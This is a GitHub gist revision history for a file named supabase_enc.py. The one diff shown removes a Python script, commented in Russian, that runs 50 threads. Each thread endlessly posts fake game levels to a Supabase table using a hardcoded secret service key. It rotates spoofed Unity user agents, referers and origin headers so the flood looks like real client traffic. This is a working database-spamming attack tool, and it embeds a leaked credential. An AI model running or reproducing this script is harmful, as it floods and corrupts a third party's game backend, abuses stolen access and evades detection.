Last active 22 hours ago

gayy revised this gist 22 hours ago. Go to revision

1 file changed, 2 insertions, 2 deletions

supabase_enc.py

Diff is too large to be shown

gayy revised this gist 1 day ago. Go to revision

1 file changed, 16 insertions, 1 deletion

supabase_enc.py

Diff is too large to be shown

gayy revised this gist 1 day ago. Go to revision

1 file changed, 1 insertion, 118 deletions

supabase_enc.py

@@ -1,118 +1 @@
1 - import requests
2 - import random
3 - import json
4 - import uuid
5 - import threading
6 - import time
7 - import itertools
8 -
9 - SUPABASE_URL = "https://nrkwqjuavktjmfalvigc.supabase.co"
10 - SUPABASE_KEY = "sb_secret_EpsOv6nTnK-keoSNuvpv5A_PUEt_LUr"
11 - TABLE_NAME = "levels"
12 - REST_URL = f"{SUPABASE_URL}/rest/v1/{TABLE_NAME}"
13 -
14 - # Разные User-Agent как в реальной игре Unity
15 - UNITY_UA = [
16 - "UnityPlayer/2022.3.15f1 (UnityWebRequest/1.0, libcurl/7.84.0-DEV)",
17 - "UnityPlayer/2021.3.33f1 (UnityWebRequest/1.0, libcurl/7.80.0)",
18 - "UnityPlayer/2023.2.0f1 (UnityWebRequest/1.0, libcurl/8.0.1)",
19 - "UnityPlayer/2022.3.20f1 (UnityWebRequest/1.0, libcurl/7.86.0)",
20 - "UnityPlayer/2023.1.10f1 (UnityWebRequest/1.0, libcurl/8.1.2)",
21 - ]
22 -
23 - # Реалистичные рефереры
24 - REFERERS = [
25 - "https://game1.example.com/",
26 - "https://game23.supabase.app/",
27 - "https://level-editor.unity.com/",
28 - "https://play.unitycloud.com/",
29 - "https://mobile-game.domain/",
30 - ]
31 -
32 - def get_random_headers():
33 - return {
34 - "apikey": SUPABASE_KEY,
35 - "Authorization": f"Bearer {SUPABASE_KEY}",
36 - "Content-Type": "application/json",
37 - "User-Agent": random.choice(UNITY_UA),
38 - "Referer": random.choice(REFERERS),
39 - "X-Client-Info": f"unity-client/{random.randint(1000, 9999)}",
40 - "Origin": "https://unity.com",
41 - "Accept": "application/json",
42 - "Accept-Encoding": "gzip, deflate, br",
43 - "Connection": "keep-alive",
44 - "Prefer": "return=minimal"
45 - }
46 -
47 - def create_level_worker(worker_id):
48 - """Один поток — бесконечно создаёт нормальные уровни с маскировкой"""
49 - session = requests.Session() # сессия для keep-alive
50 - counter = itertools.count(1)
51 -
52 - print(f"[Поток {worker_id}] Запущен")
53 -
54 - while True:
55 - try:
56 - level_num = next(counter)
57 - level_name = f"Level {random.randint(10000, 999999)}"
58 - author = f"Player{random.randint(1000, 99999)}"
59 - author_id = str(uuid.uuid4())
60 - level_id = f"lvl_{random.randint(1000000, 9999999)}_{random.randint(1000, 9999)}"
61 -
62 - level_data = json.dumps({
63 - "version": random.randint(1, 3),
64 - "name": level_name,
65 - "author": author,
66 - "objects": [],
67 - "triggers": [],
68 - "background": random.choice(["default", "space", "forest", "city"]),
69 - "music": "none",
70 - "gravity": round(random.uniform(0.8, 1.5), 2),
71 - "time_limit": random.randint(180, 600)
72 - })
73 -
74 - data = {
75 - "level_id": level_id,
76 - "level_name": level_name,
77 - "author": author,
78 - "author_id": author_id,
79 - "description": f"Уровень #{random.randint(100, 99999)} от игрока",
80 - "level_data": level_data,
81 - "difficulty": round(random.uniform(1.0, 10.0), 1),
82 - "downloads": 0,
83 - "likes": 0,
84 - "version": random.randint(1, 5)
85 - }
86 -
87 - headers = get_random_headers()
88 -
89 - response = session.post(REST_URL, headers=headers, json=data, timeout=20)
90 -
91 - if response.status_code in (201, 200):
92 - print(f"[Поток {worker_id}] ✓ Создан уровень #{level_num} | {level_name}")
93 - else:
94 - print(f"[Поток {worker_id}] ✗ Ошибка {response.status_code} | {level_name}")
95 -
96 - except Exception as e:
97 - print(f"[Поток {worker_id}] Исключение: {e}")
98 -
99 - # Лёгкая случайная задержка для большей реалистичности
100 - time.sleep(random.uniform(0.3, 1.8))
101 -
102 - if __name__ == "__main__":
103 - print("Запуск 50 потоков для бесконечного создания уровней...")
104 - print("Трафик замаскирован под реальные запросы Unity-клиента\n")
105 -
106 - threads = []
107 - for i in range(50):
108 - t = threading.Thread(target=create_level_worker, args=(i+1,), daemon=True)
109 - t.start()
110 - threads.append(t)
111 - time.sleep(0.05) # лёгкий старт
112 -
113 - # Держим главный поток живым
114 - try:
115 - while True:
116 - time.sleep(1)
117 - except KeyboardInterrupt:
118 - print("\nОстановка скрипта...")
1 + бв

gayy revised this gist 1 day ago. Go to revision

1 file changed, 113 insertions, 24 deletions

supabase_enc.py

Diff is too large to be shown

gayy revised this gist 2 days ago. Go to revision

1 file changed, 2 insertions, 2 deletions

supabase_enc.py

Diff is too large to be shown

gayy revised this gist 2 days ago. Go to revision

1 file changed, 2 insertions, 2 deletions

supabase_enc.py

Diff is too large to be shown

gayy revised this gist 2 days ago. Go to revision

1 file changed, 2 insertions, 3 deletions

supabase_enc.py

Diff is too large to be shown

gayy revised this gist 2 days ago. Go to revision

1 file changed, 3 insertions, 11 deletions

supabase_enc.py

Diff is too large to be shown

gayy revised this gist 2 days ago. Go to revision

1 file changed, 38 insertions

supabase_enc.py(file created)

Diff is too large to be shown

Newer Older